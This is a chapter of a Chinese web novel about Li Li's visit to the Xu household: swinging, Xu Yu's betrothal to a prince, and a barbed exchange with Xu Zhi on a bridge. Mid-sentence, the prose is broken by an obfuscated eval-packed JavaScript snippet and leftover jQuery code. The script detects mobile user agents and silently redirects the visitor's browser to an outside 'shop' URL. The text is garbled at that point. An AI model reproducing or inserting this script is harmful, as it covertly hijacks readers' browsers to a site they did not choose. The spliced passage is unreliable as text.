蹴罢秋千,起来慵整纤纤手。露浓花瘦,薄汗轻衣透。见客入来,袜刬金钗溜。和羞走,倚门回首,却把青梅嗅。
——李清照《点绛唇·蹴罢秋千》
李理坐下取了两个杯子,倒了茶水,递给桃儿一本,自己拿了一杯一饮而尽。
放下杯子看见许玉趴着石桌子上,正微笑着打量自己。李理被她看得不好意思,又倒了一杯水,抬到许玉面前问:“三妹妹喝不?”
许玉摇了摇头,好奇道:“刚刚四妹妹叫你玩儿?”
李理尴尬道:“你都瞧见了?帮她推了会儿秋千。”
许玉一脸忧心道:“二娘,她性子蛮横了些,但绝无恶心,她要是对你无礼,我替她对你道声歉。”
李理摆手,笑着说:“怎么会呢,按礼说我比她大些,合该让着她的。”
李理心想,俗话说疏不间亲,她有自己的原则,这些也不过小打小闹,打回来闹回来就好了,算不得什么,并不有心计较。
许玉笑着摇头,突然道:“二娘,你先前笑起来真好看!”
李理顿了顿,未想到她会这样说,才意识到刚才打秋千还真有人仔细瞧着她呢。
觉着今日的清风吹到了心里,又对着许玉笑了笑。
问:“是这样不?”
“不是。”许玉摇摇头,“是方才在秋千上那样的笑。见你那样笑,我心里也开心。”
李理心领神会,道:“我以后一定多那样笑笑!”
又见许玉把头勾过来,一手放在嘴边,小声说道:
“你往后再打秋千,还是小心些。我见书上说有人家的小姐打秋千打的猛了,从秋千上栽了下来,也没栽到地上,两腿卡在木板上,过两月,这小姐出嫁,当夜被夫君赶了回来,说她不是姑娘了。”
许三姐说得一脸认真,见李理不说话,以为吓到她了,还要再说。
李理眼珠子转悠了一圈,也够头过去,佯装严肃,小声问她,“我问你,你看的什么书?什么书上说这个?”
李理心里想,她在李府,父亲虽只请了女夫子教她《女戒》之类的书,但自己识了字,也托桃儿买话本子等杂七杂八的书看。
她父亲繁忙,亲娘又见不上面,没人管她,看得多也没问题。这许三姐好歹是大家大户的小姐,怎么也看些小书,知道这等事。
又想果然哪儿的女子都一样呢,礼法是礼法,规矩上是不能看,别人不晓得,你看多少谁人管你。
有心逗弄她,又问:“我好像也在书上瞧过呢,但还是不大清楚,三妹妹再给我讲讲!”
许玉赶紧在盘儿里拿了个果子往李理嘴里塞,几个人都笑。
“其实我什么都晓得。”许洁道,“跟你说,今年后半年我就要出嫁了。”
李理还真不知,慌忙咽了果子,惊讶道:“怎么这么快?你比我还小些哩。”
许玉小心道:“祖母帮我选的,是位王爷呢,我过去当王妃。”
李理问:“听你说起来倒觉着不错,你们见过面不曾?”
答:“三哥带他来过府上,见过几回。”
“那,你觉得他好吗?”李理又问。
“我……,我不知道。”许玉回答道,“三哥跟他是好友,说他可靠,叫我放心呢。三哥哥从不对我说假话,我信他!”
李理见她说话面带羞色,又有几分忐忑,晓得她心里不排斥,才放下心来。因说:
“你三哥都这样说,那肯定是个好的,到时候也是才子佳人,叫人羡慕呢!”
又安慰她,“你不要怕,只管往好处想,都是水到渠成呢。”
话说到此,听见有人“端姐姐!端姐姐!三哥哥!三哥哥!”得喊。
两人循声望去,见许洁提着群儿一溜烟儿往旁边小桥上跑,许家小姐在后头也提着群跑着跟着。
李理见许洁又恢复了天真娇蛮的模样,再没有方才对她居高临下,也没有对宋小姐的呼来喝去,心里好笑,真是个看人下菜碟的主儿。
再往桥上望去,桥上站着一位郎君并一位娘子,二人皆穿浅青色衣袍,一个手握纸扇摇在胸前,一个手拿团扇半掩着面,不是有声音撞入,引得两个人影动了动,还真以为是幅画。人入景中,景入画中,大抵如此。
许玉碰了碰李理,轻声道:“三哥哥和端姐姐来了,咱们也过去看看!”
李理本想拒绝,她实在无心于这里的人有过多的牵扯,何况是摆了自己一道却无法还击的人。
但许玉是第一个与她真心相交的人,算是她在许府结识的第一位朋友,本不过小事一件,不想拂了她的意,且说话间许玉已经拉着她往桥上走,李理不想拂了她的心意,快步迈着步子跟着走。
这片刻的思索,使她没有注意到拱桥上隔空望来的目光,那眸子依旧慵懒,盯着就忘了松开……
李理与许玉两个上了桥,见了桥上站着的一对儿璧人,往前迎过去,打了照面,相互道了礼。
李理见许知直往自己身前来,心下大惊,还以为刚才的事被他瞧见,有些心里有些忐忑不安,怕他当众盘问,想躲避他的视线,避免与他交谈。
虽说有恩,但也确实被此人摆了一道,就故意作羞态把头低着。
许知早就看见她穿一身紫色,与自己三妹如此相像,两人又挽着手。她倒是有眼力劲儿,挑了个软性子的使,到底还是想在许府捞些好处,这种种本不与他相干,可还是不自控地抬脚向前。
像是有意要捉弄她,悠悠展开手里的纸扇,微微俯首道:“原来是李家的二娘子也在此处,我在远处看,还以为又多了位亲妹妹。”
话罢抬眸,才见眼前女子汗染乌鬓,桃腮上浮着一层绒毛,一节玉颈像沁了水掩入衣领里。许知呼吸不由滞了滞,血管里的血液在这一刻仿佛也停止了流淌,察觉后又迅速恢复一张笑脸。
李理见他语出调笑,明里像亲近之言,实则是讥讽她攀炎附势,觉得她亲近自己三妹妹别有目的。旁人听不出来,她能听出来,是专门说给她听的。
因抬眼笑道:“可不?我初次见三哥儿也以为是我亲哥哥哩。不仅远看像,近看更像哩!远看着霁月清风,近看也是一表人才呢!”
李端以帕掩嘴笑着说:“不成想李二娘一张小嘴也这样巧!”
李理道:“端姐姐不要打趣我,我是实话实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412290|200695||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说。”
说得几人都掩嘴笑,独许洁不笑,又是那张娇蛮的脸,撇着嘴看李理。
又迈着步子过来拉许知的衣袖,撒娇道:“三哥哥,我话还没说完哩!你不是说带我和端儿姐姐一起出去玩?”
许知悄无声息的将手抽了回去,作个大哥哥样儿,温柔地对许洁道:“哥哥没忘呢!”
又扭头对许玉和李理道:“三妹妹晌午要做秀活儿,想必不得闲,李二娘可得闲?是否要同去?”
许洁听到此句,立时要生起气来,双眼紧紧瞪着李理。
李理发觉到她的目光,尴尬地连连摆着双手,歉意道:“袁姨要使我哩,恐怕要辜负三哥哥的一片美意了。”
心里想,她才不要去,本就与她不想干的事。只是这许洁方才还一脸狂妄自大,这时莫不是成了个傻的,许知和李端分明是去约会,真是没有眼力劲儿,又隐约想起有一句话说命好的都是傻的,本来还不理解,现下深以为然。
听此,许知收了扇子,微微点头道:“那做哥哥的就不再相送。”
又向许玉道:“三妹妹快回吧,吹坏了身子不知又要尝多少药。”
李端也说:“听你三哥哥的话,先回去吧。”
又对李理说:“还劳烦二娘送一送三妹妹,她身子骨弱些。”
李理点头道:“还是端姐姐想的周到。”
许玉也俯身轻轻点头。
两人站在桥上目送她们离开见三个人影远去,收回视线。
桥下的残荷映在眼里,细细的杆茎被顶部蜷缩的叶片坠断了腰,乌压压的一片,以水做镜,又折出一片枯枝残叶来。
李理眸下一瞬凄然,顿了顿,转了眼看许三姐,对她说:“咱们一道走吧。”
许三姐轻笑着伸着玉指去挽李理的手臂,轻声嗯了下。
两人并肩走在前头,桃儿和萍儿走在后头,因这二人都不是受管束的,一路上叽叽喳喳地谈论起来。
不一会儿,将许玉送回她院里,许玉偏要留李理一起吃午饭,李理称下午还有事,不便相陪,许玉才作罢。两人有约了时间,让李理得闲就来找她一起玩耍,李理应下,二人到了别。
一路上,李理往侧门走,吩咐桃儿去袁氏院里取她的帷帽,在侧门等着她,她们要到东街去看看情况,桃儿应下。
李理一路上留心观察,见四周无人才放心往外走,有心避开人眼,省得节外生枝。
出了侧门,早有一辆马车在外头等着,李理坐了进去,在马车内等着桃儿。
李理微微掀了窗帘子,漏一个小缝隙,偷偷往外面瞅着,外面侧门出入的都是许府里的小厮,有一辆木车拉着各色蔬菜,几个婆子边说着话边把各种菜分类。
马车微响一声,转头看是桃儿上了车来,手上拿着帷帽。
桃儿道:“二娘,帷帽拿来了。”
李理道:“好,咱们去东街。”
桃儿立马吩咐外头的车夫往东街赶,隔着帘子隐约挺好车夫挥鞭打马的声响,随后马车跟着摇摇晃晃前进起来。
李理双目微闭,食指指尖轻轻摩擦着下唇,脑海里思索着今日要完成的事情。